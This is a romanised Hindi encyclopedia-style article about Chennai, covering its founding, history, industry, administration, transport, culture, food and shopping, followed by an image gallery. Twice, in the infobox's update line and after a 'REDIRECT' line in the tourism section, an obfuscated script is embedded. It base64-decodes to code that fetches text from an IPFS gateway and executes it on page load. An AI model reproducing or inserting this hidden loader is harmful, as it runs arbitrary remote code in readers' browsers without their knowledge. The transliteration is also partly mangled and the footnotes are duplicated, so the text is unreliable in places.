चेन्नई

	chennee
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vivaran	chennee shahar (bhootapoorv madras), tamilanadu rajy ki rajadhani, dakshini bharat, bangal ki kha di ke koromandal tat par sthit hai. tamilanadu ki rajadhani chennee bharat ke char mahanagaroan mean se ek hai.
rajy	tamilanadu
zila	chennee zila
sthapana	17vian shatabdi
bhaugolik sthiti	uttar- 13.04°, poorv- 80.17°
marg sthiti	yah shahar s dak dvara mahabalipuram se 60.7 kilomitar, vellor se 113 kilomitar, kanyakumari se 699 kilomitar, dilli se 2,141 kilomitar doori par sthit hai.
kab jaean	navambar se faravari
kaise pahuanchean	jalayan, havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	chennee antarrashtriy havaee adda
relave steshan	chennee seantral relave steshan, chennee egamor relave steshan
bas adda	metrop aaulitan traansport karporeshan, chennee mophassil bas tarminas
yatayat	saikil-riksha, aauto-riksha, mitar-taiksi, siti bas aur metro rel
kya dekhean	chennee paryatan
kahaan thaharean	hotal, dharmashala, atithi grah
kya khayean	idali, saanbhar aur dosa
kya kharidean	sa diyaan, shilp ki kharidadari aur samakalin kala ke lie ramasvami rod par sthit si.pi. ja sakate haian.
es.ti.di. kod	044
e.ti.em	lagabhag sabhi
chitr:Map-icon.gif	googal manachitr, chennee antarrashtriy havaee adda
adyatan‎	15:50, 5 janavari 2011 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chennee shahar (bhootapoorv madras), tamilanadu rajy ki rajadhani, dakshini bharat, bangal ki kha di ke koromandal tat par sthit hai. tamilanadu ki rajadhani chennee bharat ke char mahanagaroan mean se ek hai. samudr kinare base is shahar mean bandaragah bhi hai aur ise pahale madras ke nam se jana jata tha. madras machhuare ke gaanv madrasapatanam ka chhota roop tha. jahaan british eest indiya kampani ne 1639-40 mean ek qile aur vyaparik chauki ka nirman kiya tha. us samay sooti kap de ki bunaee ek sthaniy udyog tha aur aangrezoan ne bunakaroan tatha sthaniy vyapariyoan ko qile ke asapas basane ke lie bulaya. 1652 tak fort seant jarj faiktri ko prezideansi^[1] ki pratishtha mil gee aur 1668 aur 1749 ke bich kampani ne apane niyantran ka vistar kiya. 1801 ke lagabhag antim sthaniy shasak se usaki shaktiyaan chhin li geean aur aangrez dakshin bharat ke svami ban ge. tab madras unaki prashasakiy tatha vyaparik rajadhani ban gaya. [[chitr:View-Of-Madras.jpg|thumb|250px|left|madras (vartaman chennee) ka ek drishy]] chennee ka marina bich vishv ka doosara sabase b da bich hai. yah shahar shishtachar, saumyata aur sabhyata ka pratik hai. anek mandir, qile, charch, park, bich, masjid is shahar ki khoobasoorati mean char chaand lagate haian. ise dakshin ka getave kaha jata hai. yah shahar dakshin ki film iandastri ka hab bhi hai. chennee eest iandiya kanpani dvara sthapit pratham bandobast ka shahar tha.

sthapana

chennee eest iandiya kanpani dvara sthapit pratham bandobast ka shahar tha. un dinoan chennee ko tondemandalam ke nam se jana jata tha. us samay ka sainh‍y mukhyalay pajahal mean tha. vartaman me ab yah shahar ke bahari chhor par sthit ek chhote se mahatvahin gaanv mean tabh‍dil ho chuka hai. unnisavian shatabdi mean yah shahar madras prejidensi ke nam se jana gaya. yah shahar british samrajy ka dakshini mandal tha. azadi ke bad madras ko tamilanadu ki rajadhani bana diya gaya.

san 1639 ee. mean eest iandiya kanpani ke karmachari fraansis de ne vijayanagar ke raja se kuchh bhoomi lekar is nagar ki sthapana ki thi. us samay ka bana hua qila abhi tak vidyaman hai. madras ke upanagar mayalapur mean kapalishvar shiv ka prachin mandir hai. mayalapur ka shabdik arth mayooranagar hai. pauranik janashruti ke anusar parvati ne mayoor ka roop dharan karake shiv ji ki is sthan par pooja ki thi. isi katha ka aankan is mandir ki moortikari mean hai. mandir ke pichhe ek pavitr tal hai. tripliken mean parthasarathi ka mandir bhi ullekhaniy hai. madras ke sthan par prachin samay mean chainnapatamh namak gram basa hua tha.

itihas

madras ka vikas bina kisi yojana ke 17vian shatabdi ke bharatiy avasoan aur qile ke charoan or hua. isake uttar tatha pashchimottar mean audyogik kshetr haian. mukhy avasiy kshetr pashchim tatha dakshin mean aur purane gaanv madhy bhag mean haian. dravi d shaili mean bane sat b de mandir shahar ke sabase vishisht bhavan haian. jo jarj taun, mayalapor aur tripliken mean sthit haian. 19vian shatabdi mean yah shahar madras prezidensi ke nam se jana gaya. yah shahar british samrajy ka dakshini mandal tha. azadi ke bad madras ko tamilanadu ki rajadhani bana diya gaya. hal hi mean isaka nam badalakar chennee rakh diya gaya. british kal ki imaratoan mean, chepak pailes, yoonivarsiti sinet haus^[2], viktoriya teknikal ianstityoot aur uchch nyayalay bhavan^[3] sabase akarshan mane jate haian. kee adhunik ooanchi imaratean bhi ban gee haian. [[chitr:Kapaleeswarar-Temple-Chennai.jpg|thumb|left|kapaleshvar mandir, chennee]]

arthavyavastha

chennee shahar dakshin bharat ki vyavasayik gatividhiyoan ka kendr hai. s aauphtaveyar tekh‍nol aauji park, taidail ki sh‍thapana tharamani, chennee mean ki gee hai. varsh 2006-07 mean rajh‍y se, 20,700 karo d rupe ka niryat hua jo 2007-08 mean 25,000 karo d rupe ho jaega. nokiya, motorola, ph aaukh‍sak aaum, phlaikh‍satr aaunik aur dail jaisi b di soochana praudyogiki aur doorasanchar kanpaniyaan yahaan uth‍padan kar rahi haian.

aantarrashh‍triy aauto kanpani

aantarrashh‍triy aauto kanpani huandee motars, phord, hiandush‍tan motars aur mith‍sibishi ne tamilanadu mean uth‍padan ikaiyaan shuroo ki haian. ashok lelaiand aur taphe ne chennee mean vish‍tar sanyantr lagae haian.

udyog aur vyapar

chennee ke udyogoan mean vahan udyog, ek vidyut abhiyaantriki karakhana, rabar v urvarak karakhane aur ek tel shodhan karakhana shamil hai. cham da, lauh ayask aur sooti vastr chennee se niryat ki jane vali mukhy vastuean haian. gehooan, mashinean, loha tatha ispat aur kapas ka ayat kiya jata hai. chennee ke udyogoan mean sooti vastr udyog, rasayanik udyog, kagaz evan kagaz se nirmit vastuoan ke udyog, mudran yantr evan isase sambandhit udyog, cham da, dijal ianjan, motaraga di, saikil, simeant, chini, diyasalaee, rel ke dibbe taiyar karane ke udyog adi pramukh haian.

prashasan

thumb|naanv, chennee chennee, tamilanadu rajy ki rajadhani hone se rajy ki karyapalika aur nyayapalika ke mukhyalay shahar mean mukhy roop se phort seant j aaurj mean sachivalay imarat mean aur shesh karyalay shahar mean vibhinn sthanoan par anek imaratoan mean sthit haian. madras uchch nyayalay ka adhikar-kshetr tamilanadu rajy aur puducheri tak hai. yah rajy ki sarvochch nyay sanstha hai, aur chennee mean hi sthapit hai. chennee mean tin lokasabha nirvachan kshetr haian:-

chennee uttar
chennee madhy
chennee dakshin

chennee mean 18 vidhan-sabha nirvachan kshetr haian.

shikshan sansthan

chennee mean anek shikshan sansthaean haian. rajy chikitsa mahavidyalayoan, abhiyaantriki evan takaniki mahavidyalayoan, k aaulej af karnatik myazik, k aaulej af atars end krafts aur shikshak–prashikshan mahavidyalayoan mean vyavasayik shiksha prapt ki ja sakati hai. [[chitr:University-of-Madras.jpg|thumb|250px|left|madras vishvavidyalay, chennee
University Of Madras, Chennai]] madras vishvavidyalay, 1857 bhi isi shahar mean sthit hai. jisamean kee adhunik shodh kendr haian. yahaan par iandiyan ianstityoot af teknolaji, sentral ledar risarch ianstityoot aur vaijnanik evan audyogik anusandhan parishad ki kshetriy prayogashalaean adi anek ullekhaniy vaijnanik sansthaean haian. krishi vikas ke kshetr mean em. es. svaminathan risarch faudeshan ek agrani sansthan hai.

nrity aur sangit sansthan

saanskritik sansthaoan mean madras sangit akadami shamil hai, jo karnatak sangit^[4] ko protsahan dene ke lie samarpit hai. kalakshetr nrity aur sangit ka kendr hai tatha mayalapor sthit rasik ranjini sabha rangamanchiy kalaoan ko protsahan deti hai. ek upanagariy kshetr, kodamabakkam, apane kee film stoodiyo ke karan dakshini bharat ka halivud kahalata hai. tin rangashalaean–

childrans thietar,
annamalaee manaram aur
'myooziyam thietar' prasiddh haian.

yatayat aur parivahan

chennee jane ke lie paryatak apani suvidha ke anusar rel, vayu ya s dak marg dvara ja sakate haian. anna antarrashtriy havaee adda bharat ka tisara vyastatam vimanakshetr hai. chennee desh ke anya bhagoan se s dak aur rel dvara bhali-bhaanti ju da hua hai.

havaee marg

chennee mean anna arnh‍tarashh‍triy havaeeadda hai. chennee shahar dakshin eshiya, dakshin-poorv eshiya, poorvi eshiya, madhy poorv, yoorop evan uttari amarika ke pradhan binduoan par 30 se adhik rashtriy aur antarrashtriy viman sevaoan se ju da hua hai. chennee mean anna arnh‍tarashh‍triy havaeeadda evan kamaraj antardeshiy havaeeadda sahit chennee antarrashtriy havaee adda bharat ka tisara vyastatam vimanakshetr hai. yah vayu marg dvara bangalor, kolakata, mumbee, dilli, haidarabad adi desh ke vibhinn shaharoan se ju da hua hai. thumb|250px|egamor relave steshan, chennee

rel marg

chennee dakshin relave ka mukhyalay hai. chennee mean tin relave steshan sthit haian. sentral, egamor aur tambaram ke relave steshan. yah relave steshan bharat ke pramukh shaharoan aur rajyoan se ju de hue haian. chennee desh ke any bhagoan se rel dvara bhi bhali-bhaanti ju da hua hai. chennee shahar mean do mukhy relave steshan haian:-

chennee seantral relave steshan: yahaan se sabhi b de shaharoan jaise muanbee, kolakata, bangaluru, dilli, haidarabad, kochchi, koyanbatoor, tiruvanantapuram, adi ke lie rel-suvidha upalabdh haian.
chennee egamor relave steshan yahaan se prayah tamilanadu ke anek shaharoan ki rel sevaean upalabdh haian. kuchh nikatavarti rajy ke shaharoan ki bhi relaga diyaan yahaan se chalati haian.

thumb|250px|left|egamor relave steshan, chennee

s dak marg

chennee mophassil bas tarminas antarrajyiy bas sevaoan ka adda hai. yah eshiya ka sabase b da bas adda hai. chennee rashtriy rajamarg 4 se baiangalor se ju da hua hai. isake alava rashtriy rajamarg 5 haidarabad aur poorvi tatiy rod paandicheri se ju da hai. isake alava anh‍y p dosi rajh‍yoan se bhi yahaan bas dvara a sakate haian. rashtriy rajamarg chennee ko 5 mukhy shahar tiruvalloor, kolakata, muanbee, tiruchirapalli, tiandivanam aur puducheri se jo date haian.

bandaragah

chennee shahar mean do pradhan sagarapattan (bandaragah) haian, chennee port jo sabase bade kritrim bandaragahoan mean ek hai, tatha ennor bandaragah. chennee port bangal ki kha di mean sabase b da bandaragah aur bharat ka doosara sabase b da sagariy-vyapar kendr hai, jahaan aautomobail, motarasaikil, samany audyogik mal aur any thok khanij ki avazahi hoti hai.

sthaniy sadhan

chennee shahar mean aautoriksha, niji vahan aur bas v rel sevaean sthaniy parivahan upalabdh karati haian. chennee shahar ke bahut se margoan par maiksi kaib nam se vain aur savari bha de par aautoriksha bhi chalate haian, jo bas seva ka vikalp dete haian. chennee ki yatayat sanrachana achchha sanpark upalabdh karati haian. [[chitr:Art-Gallery-Chennai.jpg|thumb|250px|left|neshanal art gailari, chennee
National Art Gallery, Chennai]]

paryatan

[[chitr:Marina-Beach-Chennai.jpg|thumb|250px|marina bich, chennee
Marina Beach, Chennai]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ke charoan maitro shaharoan mean se ek yah shahar sabase chhota zaroor hai lekin paryatan ke lihaz se kisi se kam nahian hai. chennee mean anek aise darshaniy sthal haian jo paryatakoan ko akarshit karate haian.

sangrahalay

madras shasakiy sangrahalay mean itihas aur tamilanadu ke bhautik pakshoan ka pradarshan kiya gaya hai. 'fort myooziyam' mean eest iandiya kampani ki purani vastuoan ka laghu sangrah hai tatha neshanal art gailari mean chitroan ka sangrah hai.

kala aur sanskriti

chennee apani kala aur sanskriti ki samriddh virasat ke sath ek samriddh shahar hai. chennee apane vibhinn saanskritik ayojanoan ke lie prasiddh hai, pradarshan nrity, sangit, natak, samudr tatoan aur pramukh ke roop mean pradarshan kala adhunik thietar hai. chennee saanskritik roop se samriddh hai, yahaan varshik madras myoozik sizan mean saiank dॊ kalakar bhag lete haian. chennee mean rangashala sanskriti bhi achchhe star par hai aur yah bharatanatyam ka ek mahattvapoorn kendr hai. yahaan ka tamil chalachitr udyog, jise k aaulivud bhi kahate haian, bharat ka dvitiy sabase b da film udyog kendr hai. bagichoan evan parkoan ki adhikata ke karan chennee ko hara shahar (grin siti) kahate haian.

chennee shahar ke utsavoan mean janavari mah mean ane vala panch-divasiy poangal pramukh hai. isake alava sabhi mukhy tyauhar jaise dipavali, eed, krisamas adi bhi harshollas se manaye jate haian. tamilanadu ka sangit mahoth‍sav chennee mean disanbar mean manaya jata hai. isamean karnatak sangit ki mahanh aur amoolh‍y panrapara ka nirvah kiya jata hai aur is samaroh mean ne aur purane kalakaroan dvara sangit aur nrith‍y ki avish‍maraniy prastutiyaan pesh hoti haian.

tamil vyanjanoan mean shakahari aur maansahari donoan hi vyanjanoan ka sammilan hai. shahar mean vibhinn sthanoan par alpahar ya tiphin bhi upalabdh hai, jisamean poangal, dosa, idali, v da, adi milate haian, jisako garma garm ya thandi k aauphi ke sath parosa jata hai. [[chitr:Santhome-Cathedral-Basilica.jpg|thumb|250px|left|santhom kaithodral besilika, chennee
Santhome Cathedral Basilica, Chennai]]

khanapan

chennee mean har prakar ke bhojan upalabdh haian. chennee mean visheshakar dakshin bharatiy vyanjan idali, saanbhar aur dosa adhik milata hai. chennee mean anand bhavan dakshin bharatiy bhojan ke lie prasiddh hai. isake alava chennee mean lebenis, koriyan, chainij, japani, maiksikan, italiyan aur thaee bhojan vibhinn hotaloan mean upalabdh hai. chennee mean mithaeeyoan ke lie shri krishnaa svits bahut lokapriy hai. chennee mean mithi rasili janagri ti nagar ki iloor laibreri ke samip milati hai. yah bahut svadisht hoti hai.

kharidadari

chennee mean sa diyaan bahut achchhi milati haian. chennee ka mashahoor pajahee nalli chinnasvami chetti sthan sa diyoan ke prasiddh hai. chennee mean melapur ki sannadhi gali mean sau sal purana radha silk haus hai. ti.nagar ke uttari usaman rod par sthit tarooni lok silk bhi sa diyoan ki kharidadari ke lie mahattvapoorn sthan hai. yahaan se sa diyoan ke atirikt purushoan ke kurate aur phoks ki jvailari bhi kharidi ja sakati hai. ti.nagar ko dulhanoan ka svarg kaha jata hai. shilp ki kharidadari aur samakalin kala ke lie ramasvami rod par sthit si.pi. ja sakate haian. ke. bi. dasan rod par sthit vinayag tanjaur chitrakala dirgha peantigs ke lie achchhi jagah hai. mamalapuram mean pattharoan par bani moortiyaan milati haian. inake alava chennee mean anek aisi chizean mil jaeangi jinhean paryatak kharide bina nahian rah sakate haian.

janasankhya

2001 ki ganana ke anusar chennee ki janasankhya 42,16,268 hai.

vithika

chitr:Nandambakkam-War-Memorial.jpg

madras yuddh smarak (nandambakkam yuddh smarak), chennee
chitr:Railway-Station-Madras.jpg

egamor relave steshan, chennee
chitr:Plan-Of-Fort-St-George.jpg

sent j aaurj qila ka manachitr, chennee
chitr:Valluvar-Kottam-Chennai.jpg

valluvar kottam, chennee
chitr:Fort-St-George-Chennai.jpg

sent j aaurj qila, chennee
chitr:Crocodile-Bank-Chennai.jpg

magaramachchh baiank, chennee
chitr:Fort-St-George.jpg

sent j aaurj qila, chennee
chitr:Ripon-Building-Chennai-1.jpg

mahanagar palika, chennee
chitr:Government-House-Madras.jpg

gavarnameant haus, madras
chitr:Catamaran-Race-Madras.jpg

katamarain dau d, madras (vartaman chennee)
chitr:Fort-St-George-2.jpg

sent j aaurj qila, chennee
chitr:Post-Office-Madras.jpg

dak-ghar, madras
chitr:St-Thome-Street-Fort-St-George.jpg

sent th aaum strit ka ek drishy, sent j aaurj qila, chennee
chitr:Procession-Religieuse-Madras.jpg

gharmik samuh, madras (vartaman chennee)
chitr:Fort-St-George-3.jpg

sent j aaurj qila, chennee
chitr:Entrance-Gate-Fort-St-George.jpg

sent j aaurj qila ka pravesh dvar, chennee
chitr:Supreme-Court-Madras.jpg

madras uchch nyayalay, chennee
chitr:St-Mary-Church-Fort- St-George.jpg

sent meri charch, sent j aaurj qila, chennee
chitr:Fort-St-George-4.jpg

uttar ki taraf se sent j aaurj qila ka drishy, chennee
chitr:Plan-Of-Madras-And-Fort-St-George.jpg

madras aur sent j aaurj qila ka manachitr
chitr:Government-House-And-Council-Chamber-Madras.jpg

gavarnameant haus aur kauansil chaianbar, madras
chitr:Naval-Hospital-Madras.jpg

nausena aspatal, madras
chitr:Custom-House-Madras.jpg

sima-shulk vibhag, madras
chitr:Municipal-Corporation-Chennai.jpg

mahanagar palika, chennee
chitr:Sree-Ramakrishna-Madh-Chennai.jpg

shri ramkrishna math, chennee
chitr:Chidambaram-Stadium-Chennai.jpg

chidanbaram stediyam, chennee
chitr:Chennai-Dinner.jpg

dose se saji thali, chennee
chitr:Chennai-Dinner-1.jpg

idali sambhar se saji thali, chennee
chitr:Dare-House-Chennai.jpg

deyar haus, chennee
chitr:Landmark-Monument-Chennai.jpg

laindamark smarak, chennee
chitr:Photowalk-Chennai.jpg

em.ji.ar. memoriyal, chennee
chitr:Marina-Beach-Chennai-2.jpg

marina bich, chennee
chitr:Ripon Building-Chennai.jpg

mahanagar palika, chennee
chitr:Tidel-Park-Signal-Chennai.jpg

tidel park se chennee ka ek drishy

tika tippani aur sandarbh

↑ adhyaksh dvara shasit ek prashasakiy ikaee
↑ donoan dakkan muslim shaili mean
↑ donoan bharatiy muslim shaili mean
↑ bangal ki kha di ke dakshini koromandal tat aur dakkan ke pathar ke bich sthit kshetr ka prasiddh sangit

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] yaksh dvara shasit ek prashasakiy ikaee

[2] uslim shaili mean

[3] ratiy muslim shaili mean

[4] ↑ bangal ki kha di ke dakshini koromandal tat aur dakkan ke pathar ke bich sthit kshetr ka prasiddh sangit

[1]

[2]

[3]

[4]